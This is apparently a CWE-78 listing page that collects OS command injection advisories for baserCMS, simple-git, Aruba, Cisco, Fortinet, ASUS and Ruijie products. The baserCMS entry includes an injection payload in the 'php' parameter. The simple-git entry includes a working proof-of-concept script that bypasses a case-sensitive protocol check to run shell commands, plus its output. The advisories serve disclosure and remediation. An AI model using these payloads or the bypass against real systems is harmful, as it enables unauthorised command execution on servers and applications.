CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8312 vulnerabilities reference this CWE, most recent first.
GHSA-QXMC-6F24-G86G
Vulnerability from github – Published: 2026-03-31 22:27 – Updated: 2026-03-31 22:27Summary
In the core update functionality of baserCMS, some parameters sent from the admin panel are passed to the exec() function without proper validation or escaping. This issue allows an authenticated CMS administrator to execute arbitrary OS commands on the server (Remote Code Execution, RCE).
This vulnerability is not a UI-level issue such as screen manipulation or lack of CSRF protection, but rather stems from a design that directly executes input values received on the server side as OS commands. Therefore, even if buttons are hidden in the UI, or even if CakePHP's CSRF/FormProtection (SecurityComponent) ensures that only legitimate POST requests are accepted, an attack is possible as long as a request containing a valid token is processed within an administrator session.
Vulnerability Information
| Item | Details |
|---|---|
| CWE | CWE-78: Improper Neutralization of Special Elements used in an OS Command |
| Impact | Remote Code Execution (RCE) |
| Severity | Critical |
| Attack Requirements | Administrator privileges required |
| Reproducibility | Reproducible (confirmed multiple times) |
| Test Environment | baserCMS 5.2.2 (Docker / development environment) |
Affected Areas
- Controller
PluginsController::get_core_update()- Service
PluginsService::getCoreUpdate()- Affected Endpoint
/baser/admin/baser-core/plugins/get_core_update
Technical Details
Vulnerable Code Flow
PluginsController::get_core_update()
↓ Retrieves php parameter from POST data
PluginsService::getCoreUpdate($targetVersion, $php, $force)
↓ Concatenates $php into command string without validation or escaping
exec($command)
Relevant Code (Excerpt)
PluginsController.php
$service->getCoreUpdate(
$request->getData('targetVersion') ?? '',
$request->getData('php') ?? 'php',
$request->getData('force'),
);
PluginsService.php
$command = $php . ' ' . ROOT . DS . 'bin' . DS . 'cake.php composer ' .
$targetVersion . ' --php ' . $php . ' --dir ' . TMP . 'update';
exec($command, $out, $code);
The $php parameter is user input, and none of the following countermeasures are in place:
- Restriction via allowlist
- Validation via regular expression
- Escaping via
escapeshellarg()or similar
Attack Scenario
- The attacker logs in as a CMS administrator
- Sends a POST request to the core update functionality in the admin panel
- Specifies a string containing OS commands in the
phpparameter exec()is executed on the server side, running the arbitrary OS command
Example Attack Input (Conceptual)
php=php;id>/tmp/rce_test;#
Verification Results (PoC)
Execution Result
$ docker exec bc-php cat /tmp/rce_test
uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
The above confirms that OS commands can be executed with www-data privileges.
Additional Notes
- Reproducible through the legitimate flow in the admin panel (browser)
- Succeeds even with CSRF/FormProtection tokens included in a legitimate request
- Failure cases (400/403) have also been investigated and differentiated
- Confirmed reproducible via resending HTTP requests with tools such as curl (resending the same request containing valid tokens)
Impact
If this vulnerability is exploited, the following becomes possible:
- Retrieval of server information
- Reading/writing arbitrary files
- Retrieval of application configuration information (DB credentials, etc.)
- OS-level operations beyond application permission boundaries
Although administrator privileges are required, this is a design issue where the impact extends from the application layer to the OS layer, and the impact is considered significant.
Recommended Fix
Primary Recommendation
- Do not accept the PHP executable path from user input
- Fix the PHP executable on the server side using the
PHP_BINARYconstant
$php = escapeshellarg(PHP_BINARY);
Supplementary Fix Recommendations
- Apply
escapeshellarg()escaping to other command-line arguments (version number, directory, etc.) as well - If possible, consider using execution methods that do not involve shell interpretation (array format, Process class, etc.)
Alternative (Not Recommended)
- Allowlist validation for the PHP executable path
- Combined use of regex validation and
escapeshellarg()
However, from the perspective of reducing the attack surface, a design that eliminates user input entirely is recommended.
Additional Notes
- This issue is independent of UI display controls (showing/hiding buttons)
- As long as the endpoint exists, an attack is possible if a request containing valid tokens is processed
- This is a problem stemming from the design-level handling of input, and cannot be prevented by CSRF or UI controls alone
Conclusion
Due to a design issue in baserCMS's core update functionality where user input is passed to exec() without validation, Remote Code Execution (RCE) is achievable with administrator privileges. This vulnerability can be fixed through input validation and design review, and prompt remediation is recommended.
This advisory was translated from Japanese to English using GitHub Copilot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.2.2"
},
"package": {
"ecosystem": "Packagist",
"name": "baserproject/basercms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-21861"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T22:27:05Z",
"nvd_published_at": "2026-03-31T01:16:35Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nIn the core update functionality of baserCMS, some parameters sent from the admin panel are passed to the `exec()` function without proper validation or escaping. This issue allows **an authenticated CMS administrator to execute arbitrary OS commands on the server (Remote Code Execution, RCE)**.\n\nThis vulnerability is not a UI-level issue such as screen manipulation or lack of CSRF protection, but rather stems from **a design that directly executes input values received on the server side as OS commands**. Therefore, even if buttons are hidden in the UI, or even if CakePHP\u0027s CSRF/FormProtection (SecurityComponent) ensures that only legitimate POST requests are accepted, **an attack is possible as long as a request containing a valid token is processed within an administrator session**.\n\n---\n\n## Vulnerability Information\n\n| Item | Details |\n| ---- | ------- |\n| CWE | CWE-78: Improper Neutralization of Special Elements used in an OS Command |\n| Impact | Remote Code Execution (RCE) |\n| Severity | Critical |\n| Attack Requirements | Administrator privileges required |\n| Reproducibility | Reproducible (confirmed multiple times) |\n| Test Environment | baserCMS 5.2.2 (Docker / development environment) |\n\n---\n\n## Affected Areas\n\n- **Controller**\n - `PluginsController::get_core_update()`\n- **Service**\n - `PluginsService::getCoreUpdate()`\n- **Affected Endpoint**\n - `/baser/admin/baser-core/plugins/get_core_update`\n\n---\n\n## Technical Details\n\n### Vulnerable Code Flow\n\n```text\nPluginsController::get_core_update()\n \u2193 Retrieves php parameter from POST data\nPluginsService::getCoreUpdate($targetVersion, $php, $force)\n \u2193 Concatenates $php into command string without validation or escaping\nexec($command)\n```\n\n### Relevant Code (Excerpt)\n\n**PluginsController.php**\n\n```php\n$service-\u003egetCoreUpdate(\n $request-\u003egetData(\u0027targetVersion\u0027) ?? \u0027\u0027,\n $request-\u003egetData(\u0027php\u0027) ?? \u0027php\u0027,\n $request-\u003egetData(\u0027force\u0027),\n);\n```\n\n**PluginsService.php**\n\n```php\n$command = $php . \u0027 \u0027 . ROOT . DS . \u0027bin\u0027 . DS . \u0027cake.php composer \u0027 .\n $targetVersion . \u0027 --php \u0027 . $php . \u0027 --dir \u0027 . TMP . \u0027update\u0027;\n\nexec($command, $out, $code);\n```\n\nThe `$php` parameter is user input, and **none** of the following countermeasures are in place:\n\n- Restriction via allowlist\n- Validation via regular expression\n- Escaping via `escapeshellarg()` or similar\n\n---\n\n## Attack Scenario\n\n1. The attacker logs in as a CMS administrator\n2. Sends a POST request to the core update functionality in the admin panel\n3. Specifies a string containing OS commands in the `php` parameter\n4. `exec()` is executed on the server side, running the arbitrary OS command\n\n### Example Attack Input (Conceptual)\n\n```text\nphp=php;id\u003e/tmp/rce_test;#\n```\n\n---\n\n## Verification Results (PoC)\n\n### Execution Result\n\n```bash\n$ docker exec bc-php cat /tmp/rce_test\nuid=1000(www-data) gid=1000(www-data) groups=1000(www-data)\n```\n\nThe above confirms that OS commands can be executed with `www-data` privileges.\n\n### Additional Notes\n\n- Reproducible through the legitimate flow in the admin panel (browser)\n- Succeeds even with CSRF/FormProtection tokens included in a legitimate request\n- Failure cases (400/403) have also been investigated and differentiated\n- Confirmed reproducible via resending HTTP requests with tools such as curl (resending the same request containing valid tokens)\n\n---\n\n## Impact\n\nIf this vulnerability is exploited, the following becomes possible:\n\n- Retrieval of server information\n- Reading/writing arbitrary files\n- Retrieval of application configuration information (DB credentials, etc.)\n- OS-level operations beyond application permission boundaries\n\nAlthough administrator privileges are required, **this is a design issue where the impact extends from the application layer to the OS layer**, and the impact is considered significant.\n\n---\n\n## Recommended Fix\n\n### Primary Recommendation\n\n- Do not accept the PHP executable path from user input\n- Fix the PHP executable on the server side using the `PHP_BINARY` constant\n\n```php\n$php = escapeshellarg(PHP_BINARY);\n```\n\n### Supplementary Fix Recommendations\n\n- Apply `escapeshellarg()` escaping to other command-line arguments (version number, directory, etc.) as well\n- If possible, consider using execution methods that do not involve shell interpretation (array format, Process class, etc.)\n\n### Alternative (Not Recommended)\n\n- Allowlist validation for the PHP executable path\n- Combined use of regex validation and `escapeshellarg()`\n\nHowever, **from the perspective of reducing the attack surface, a design that eliminates user input entirely is recommended**.\n\n---\n\n## Additional Notes\n\n- This issue is independent of UI display controls (showing/hiding buttons)\n- As long as the endpoint exists, an attack is possible if a request containing valid tokens is processed\n- This is a problem stemming from the design-level handling of input, and cannot be prevented by CSRF or UI controls alone\n\n---\n\n## Conclusion\n\nDue to a design issue in baserCMS\u0027s core update functionality where user input is passed to `exec()` without validation, **Remote Code Execution (RCE) is achievable with administrator privileges**. This vulnerability can be fixed through input validation and design review, and prompt remediation is recommended.\n\nThis advisory was translated from Japanese to English using GitHub Copilot.",
"id": "GHSA-qxmc-6f24-g86g",
"modified": "2026-03-31T22:27:05Z",
"published": "2026-03-31T22:27:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/baserproject/basercms/security/advisories/GHSA-qxmc-6f24-g86g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21861"
},
{
"type": "WEB",
"url": "https://basercms.net/security/JVN_20837860"
},
{
"type": "PACKAGE",
"url": "https://github.com/baserproject/basercms"
},
{
"type": "WEB",
"url": "https://github.com/baserproject/basercms/releases/tag/5.2.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "baserCMS has OS Command Injection Leading to Remote Code Execution (RCE)"
}
GHSA-QXPJ-X283-2F27
Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2022-12-13 21:30There is a command injection vulnerability that could lead to unauthenticated remote code execution by sending specially crafted packets destined to the PAPI (Aruba Networks AP management protocol) UDP port (8211). Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.
{
"affected": [],
"aliases": [
"CVE-2022-37897"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-12T13:15:00Z",
"severity": "CRITICAL"
},
"details": "There is a command injection vulnerability that could lead to unauthenticated remote code execution by sending specially crafted packets destined to the PAPI (Aruba Networks AP management protocol) UDP port (8211). Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.",
"id": "GHSA-qxpj-x283-2f27",
"modified": "2022-12-13T21:30:26Z",
"published": "2022-12-12T15:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37897"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-016.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXQ5-575V-FJ9W
Vulnerability from github – Published: 2022-05-14 02:02 – Updated: 2022-05-14 02:02fileshare.cmd on Telus Actiontec T2200H T2200H-31.128L.03 devices allows OS Command Injection via shell metacharacters in the smbdUserid or smbdPasswd field.
{
"affected": [],
"aliases": [
"CVE-2018-15553"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-20T00:29:00Z",
"severity": "HIGH"
},
"details": "fileshare.cmd on Telus Actiontec T2200H T2200H-31.128L.03 devices allows OS Command Injection via shell metacharacters in the smbdUserid or smbdPasswd field.",
"id": "GHSA-qxq5-575v-fj9w",
"modified": "2022-05-14T02:02:39Z",
"published": "2022-05-14T02:02:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15553"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2016/Aug/75"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXQG-GGRJ-3MJF
Vulnerability from github – Published: 2025-05-07 18:30 – Updated: 2025-05-07 18:30A vulnerability in the web-based management interface of the Wireless LAN Controller feature of Cisco IOS XE Software could allow an authenticated, remote attacker with a lobby ambassador user account to perform a command injection attack against an affected device.
This vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by sending crafted input to the web-based management interface. A successful exploit could allow the attacker to execute arbitrary Cisco IOS XE Software CLI commands with privilege level 15.
Note: This vulnerability is exploitable only if the attacker obtains the credentials for a lobby ambassador account. This account is not configured by default.
{
"affected": [],
"aliases": [
"CVE-2025-20186"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-07T18:15:38Z",
"severity": "HIGH"
},
"details": "A vulnerability in the web-based management interface of the Wireless LAN Controller feature of Cisco IOS XE Software could allow an authenticated, remote attacker with a lobby ambassador user account to perform a command injection attack against an affected device.\n\n This vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by sending crafted input to the web-based management interface. A successful exploit could allow the attacker to execute arbitrary Cisco IOS XE Software CLI commands with privilege level 15.\n\n Note: This vulnerability is exploitable only if the attacker obtains the credentials for a lobby ambassador account. This account is not configured by default.",
"id": "GHSA-qxqg-ggrj-3mjf",
"modified": "2025-05-07T18:30:49Z",
"published": "2025-05-07T18:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20186"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-webui-cmdinj-gVn3OKNC"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXQX-3RVG-3V54
Vulnerability from github – Published: 2023-10-10 18:31 – Updated: 2024-04-04 08:30A improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiWLM version 8.6.0 through 8.6.5 and 8.5.0 through 8.5.4 allows attacker to execute unauthorized code or commands via specifically crafted HTTP get request parameters.
{
"affected": [],
"aliases": [
"CVE-2023-34987"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-10T17:15:11Z",
"severity": "HIGH"
},
"details": "A improper neutralization of special elements used in an os command (\u0027os command injection\u0027) in Fortinet FortiWLM version 8.6.0 through 8.6.5 and 8.5.0 through 8.5.4 allows attacker to execute unauthorized code or commands via specifically crafted HTTP get request parameters.",
"id": "GHSA-qxqx-3rvg-3v54",
"modified": "2024-04-04T08:30:02Z",
"published": "2023-10-10T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34987"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-23-141"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXVV-4XJR-V6FW
Vulnerability from github – Published: 2023-11-03 06:36 – Updated: 2023-11-13 21:30ASUS RT-AC86U’s authentication-related function has a vulnerability of insufficient filtering of special characters within its check token module. An authenticated remote attacker can exploit this vulnerability to perform a Command Injection attack to execute arbitrary commands, disrupt the system or terminate services.
{
"affected": [],
"aliases": [
"CVE-2023-41347"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-03T05:15:29Z",
"severity": "HIGH"
},
"details": "ASUS RT-AC86U\u2019s authentication-related function has a vulnerability of insufficient filtering of special characters within its check token module. An authenticated remote attacker can exploit this vulnerability to perform a Command Injection attack to execute arbitrary commands, disrupt the system or terminate services.",
"id": "GHSA-qxvv-4xjr-v6fw",
"modified": "2023-11-13T21:30:56Z",
"published": "2023-11-03T06:36:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41347"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-7498-18012-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QXW6-J2FM-5XP4
Vulnerability from github – Published: 2024-05-06 00:30 – Updated: 2024-05-06 00:30A vulnerability, which was classified as critical, was found in Ruijie RG-UAC up to 20240428. This affects an unknown part of the file /view/IPV6/ipv6Addr/ip_addr_add_commit.php. The manipulation of the argument prelen/ethname leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-263109 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-4505"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-05T23:15:30Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, was found in Ruijie RG-UAC up to 20240428. This affects an unknown part of the file /view/IPV6/ipv6Addr/ip_addr_add_commit.php. The manipulation of the argument prelen/ethname leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-263109 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-qxw6-j2fm-5xp4",
"modified": "2024-05-06T00:30:52Z",
"published": "2024-05-06T00:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4505"
},
{
"type": "WEB",
"url": "https://github.com/h0e4a0r1t/-2x3J-1rPc-1-0-/blob/main/Ruijie%20RG-UAC%20Unified%20Internet%20Behavior%20Management%20Audit%20System%20Backend%20RCE%20Vulnerability-ip_addr_add_commit.php.pdf"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.263109"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.263109"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.323815"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-R275-FR43-PM7Q
Vulnerability from github – Published: 2026-03-10 18:38 – Updated: 2026-04-14 21:57Summary
The blockUnsafeOperationsPlugin in simple-git fails to block git protocol
override arguments when the config key is passed in uppercase or mixed case.
An attacker who controls arguments passed to git operations can enable the
ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an
arbitrary OS command on the host machine.
Details
The preventProtocolOverride function in
simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24)
checks whether a -c argument configures protocol.allow using this regex:
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
return;
}
This regex is case-sensitive. Git treats config key names
case-insensitively — it normalises them to lowercase internally.
As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always,
or any mixed-case variant is not matched by the regex, the check
returns without throwing, and git is spawned with the unsafe argument.
Verification that git normalises the key:
$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow=always
The fix is a single character — add the /i flag:
// Before (vulnerable):
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
// After (fixed):
if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) {
poc.js
/**
* Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass
*
* CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check
* that blocks `-c protocol.*.allow=always` from being passed to git commands.
* The regex is case-sensitive. Git treats config key names case-insensitively.
* Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
*
* Affected : simple-git >= 3.15.0 (all versions with the fix applied)
* Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5
* Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)
*/
const simpleGit = require('simple-git');
const fs = require('fs');
const SENTINEL = '/tmp/pwn-codeant';
// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}
const git = simpleGit();
// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────
// This is the exact PoC Snyk used to report CVE-2022-25912.
// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
'-c', 'protocol.ext.allow=always', // lowercase — caught by regex
]).catch((e) => {
console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
console.error(e);
});
// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────
// The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes the command.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
'-c', 'PROTOCOL.ALLOW=always', // uppercase — NOT caught by regex
]).catch((e) => {
console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
console.error(e);
});
// ── Real-world scenario ──────────────────────────────────────────────────────
// An application cloning a legitimate repository with user-controlled customArgs.
// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.
// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates
// but the injected argument enables ext:: and the real URL executes the command instead.
//
// Legitimate usage (what the app expects):
// simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',
// '/tmp/codeant-quality-gates', userArgs)
//
// Attacker-controlled scenario (what actually runs when args are not sanitised):
const LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';
const CLONE_DEST = '/tmp/codeant-quality-gates';
const SENTINEL_RW = '/tmp/pwn-realworld';
try { fs.unlinkSync(SENTINEL_RW); } catch (_) {}
const userArgs = ['-c', 'PROTOCOL.ALLOW=always'];
const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';
simpleGit().clone(
attackerURL, // should have been LEGITIMATE_URL
CLONE_DEST,
userArgs
).catch(() => {
console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',
fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');
});
Test Results
Vector 1 — Original CVE-2022-25912 (protocol.ext.allow=always, lowercase)
Result: BLOCKED ✅
The original Snyk PoC payload using lowercase protocol.ext.allow=always is correctly intercepted by preventProtocolOverride before git is invoked. A GitPluginError is thrown immediately and the sentinel file is never created.
Output:
ext:: executed:poc not created
GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol
at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)
at .../simple-git/dist/cjs/index.js:1266:40
at Array.forEach (<anonymous>)
at Object.action (.../simple-git/dist/cjs/index.js:1264:12)
at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)
at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)
at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {
task: {
commands: [
'clone',
'-c',
'protocol.ext.allow=always',
'ext::sh -c touch% /tmp/pwn-original% >&2',
'/tmp/example-new-repo'
],
format: 'utf-8',
parser: [Function: parser]
},
plugin: 'unsafe'
}
Vector 2 — Uppercase bypass (PROTOCOL.ALLOW=always)
Result: BYPASSED ⚠️ — RCE confirmed
The preventProtocolOverride regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive. PROTOCOL.ALLOW=always (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the ext:: protocol. The injected shell command executes before git errors on the missing repository stream.
Output:
ext:: executed: PWNED — /tmp/pwn-codeant created
GitError: Cloning into '/tmp/example-new-repo-2'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
at Object.action (.../simple-git/dist/cjs/index.js:1440:25)
at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {
task: {
commands: [
'clone',
'-c',
'PROTOCOL.ALLOW=always',
'ext::sh -c touch% /tmp/pwn-codeant% >&2',
'/tmp/example-new-repo-2'
],
format: 'utf-8',
parser: [Function: parser]
}
}
/tmp/pwn-codeant was created by the git subprocess — command execution confirmed.
Vector 3 — Real-world scenario (target: https://github.com/CodeAnt-AI/codeant-quality-gates)
Result: BYPASSED ⚠️ — RCE confirmed
An application passes user-controlled customArgs to simpleGit().clone(). The attacker injects PROTOCOL.ALLOW=always and substitutes a malicious ext:: URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables ext:: and executes the payload before the application can detect the failure.
Output:
real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created
/tmp/pwn-realworld was created — arbitrary command execution in a realistic application context confirmed.
Summary
| # | Vector | Payload | Sentinel file | Result |
|---|---|---|---|---|
| 1 | CVE-2022-25912 original | protocol.ext.allow=always (lowercase) |
not created | Blocked ✅ |
| 2 | Case-sensitivity bypass | PROTOCOL.ALLOW=always (uppercase) |
/tmp/pwn-codeant created |
RCE ⚠️ |
| 3 | Real-world app scenario | PROTOCOL.ALLOW=always + attacker URL |
/tmp/pwn-realworld created |
RCE ⚠️ |
The case-sensitive regex in preventProtocolOverride blocks protocol.*.allow but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.
/tmp/pwned is created by the git subprocess via the ext:: protocol.
All of the following bypass the check:
Argument passed via -c |
Regex matches? | Git honours it? |
|---|---|---|
protocol.allow=always |
✅ blocked | ✅ |
PROTOCOL.ALLOW=always |
❌ bypassed | ✅ |
Protocol.Allow=always |
❌ bypassed | ✅ |
PROTOCOL.allow=always |
❌ bypassed | ✅ |
protocol.ALLOW=always |
❌ bypassed | ✅ |
Impact
Any application that passes user-controlled values into the customArgs
parameter of clone(), fetch(), pull(), push() or similar simple-git
methods is vulnerable to arbitrary command execution on the host machine.
The ext:: git protocol executes an arbitrary binary as a remote helper.
With protocol.allow=always enabled, an attacker can run any OS command
as the process user — full read, write and execution access on the host.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "simple-git"
},
"ranges": [
{
"events": [
{
"introduced": "3.15.0"
},
{
"fixed": "3.32.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28292"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T18:38:56Z",
"nvd_published_at": "2026-03-10T19:17:20Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol\noverride arguments when the config key is passed in uppercase or mixed case.\nAn attacker who controls arguments passed to git operations can enable the\n`ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an\narbitrary OS command on the host machine.\n\n---\n\n### Details\n\nThe `preventProtocolOverride` function in\n`simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24)\nchecks whether a `-c` argument configures `protocol.allow` using this regex:\n\n```ts\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n return;\n}\n```\n\nThis regex is case-sensitive. Git treats config key names\ncase-insensitively \u2014 it normalises them to lowercase internally.\nAs a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`,\nor any mixed-case variant is not matched by the regex, the check\nreturns without throwing, and git is spawned with the unsafe argument.\n\n**Verification that git normalises the key:**\n\n```bash\n$ git -c PROTOCOL.ALLOW=always config --list | grep protocol\nprotocol.allow=always\n```\n\n**The fix is a single character \u2014 add the `/i` flag:**\n\n```ts\n// Before (vulnerable):\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n\n// After (fixed):\nif (!/^\\s*protocol(.[a-z]+)?.allow/i.test(next)) {\n```\n\n---\n\n## poc.js\n\n```js\n/**\n * Proof of Concept \u2014 simple-git preventProtocolOverride Case-Sensitivity Bypass\n *\n * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check\n * that blocks `-c protocol.*.allow=always` from being passed to git commands.\n * The regex is case-sensitive. Git treats config key names case-insensitively.\n * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.\n *\n * Affected : simple-git \u003e= 3.15.0 (all versions with the fix applied)\n * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5\n * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)\n */\n\nconst simpleGit = require(\u0027simple-git\u0027);\nconst fs = require(\u0027fs\u0027);\n\nconst SENTINEL = \u0027/tmp/pwn-codeant\u0027;\n\n// Clean up from any previous run\ntry { fs.unlinkSync(SENTINEL); } catch (_) {}\n\nconst git = simpleGit();\n\n// \u2500\u2500 Original CVE-2022-25912 vector \u2014 BLOCKED by the 2022 fix \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// This is the exact PoC Snyk used to report CVE-2022-25912.\n// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.\ngit.clone(\u0027ext::sh -c 